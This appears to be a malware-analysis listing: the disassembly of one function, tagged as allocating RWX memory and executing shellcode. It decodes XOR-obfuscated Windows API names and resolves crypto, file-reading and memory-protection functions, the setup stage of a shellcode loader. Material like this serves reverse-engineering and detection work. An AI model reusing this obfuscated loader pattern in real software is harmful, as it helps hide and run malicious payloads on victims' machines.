Function at 0x180001150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x180023008]
xor rax, rsp
mov qword [rbp + 0x100], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Advapi32.dll
mov qword [0x180024c50], rax
call rax
lea rdx, str.CryptAcquireContextA
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptCreateHash
mov rcx, rbx
mov qword [0x180024c70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDeriveKey
mov rcx, rbx
mov qword [0x180024c60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDecrypt
mov rcx, rbx
mov qword [0x180024c80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDestroyKey
mov rcx, rbx
mov qword [0x180024c88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptDestroyHash
mov rcx, rbx
mov qword [0x180024c58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptReleaseContext
mov rcx, rbx
mov qword [0x180024c68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptHashData
mov rcx, rbx
mov qword [0x180024c48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptImportKey
mov rcx, rbx
mov qword [0x180024c78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CryptEncrypt
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movabs rsi, 0x831fbafad79eca86
lea rdx, [rbp + 0x60]
mov rbx, rax
movabs rdi, 0xf1bffdbabc60891
movabs rax, 0xf1b8bbed8ab6dfc
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x60], rcx
mov qword [rbp], rsi
mov rcx, qword [rbp]
mov qword [rbp + 0x68], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rcx
mov rcx, rbx
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0x18], rax
pxor xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180024ca0], rax
movabs rax, 0xf1b86abc8ab6dfc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
lea rdx, [rbp + 0x70]
mov qword [rbp], rsi
mov rcx, rbx
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x70]
mov qword [rbp + 0x28], rax
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov qword [0x180024cc8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rbp + 0x80]
movabs rax, 0x4e779eaedfb461c7
mov qword [rbp], rax
movabs rax, 0x831fc2bfb4f1a6ea
mov rcx, qword [rbp]
mov qword [rbp + 0x80], rcx
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x88], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x30], rcx
mov rcx, rbx
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x80]
mov qword [rbp + 0x38], rax
pxor xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180024cd8], rax
movabs rcx, 0xeedebd24aaa36dc8
movabs rax, 0x6069afbedfaf7ac6
lea rdx, [rbp + 0xc0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xec72dfb7a4edafe5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x4ca587556d80ddf9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0x4ca587556d80a48b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], rcx
mov rcx, rbx
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0xc0]
vmovdqa ymmword [rbp + 0xc0], ymm1
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180024ce0], rax
movabs rax, 0x7d4b9aafcaa37ad2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x831fed89a4fba9e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
lea rdx, [rbp + 0x90]
mov qword [rbp + 0x40], rax
mov rcx, rbx
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x90]
mov qword [rbp + 0x48], rax
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x90], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180024cb8], rax
lea rdx, [rbp + 0xa0]
movabs rax, 0x674f9ab6deb56dc3
mov rcx, rbx
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x831fbafab3ffaff4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x58], rax
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0xa0], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.ReadFile
mov rcx, rbx
mov qword [0x180024cb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualAlloc
mov rcx, rbx
mov qword [0x180024cd0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtectEx
mov rcx, rbx
mov qword [0x180024ca8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x180024cc8], 0
mov qword [0x180024cc0], rax
je 0x180001656
cmp qword [0x180024ca0], 0
je 0x180001656
cmp qword [0x180024cd8], 0
je 0x180001656
cmp qword [0x180024ce0], 0
je 0x180001656
cmp qword [0x180024cb8], 0
je 0x180001656
cmp qword [0x180024cb0], 0
je 0x180001656
cmp qword [0x180024cd0], 0
je 0x180001656
cmp qword [0x180024ca8], 0
je 0x180001656
test rax, rax
je 0x180001656
mov eax, 1
jmp 0x180001658
xor eax, eax
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.180002cc0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret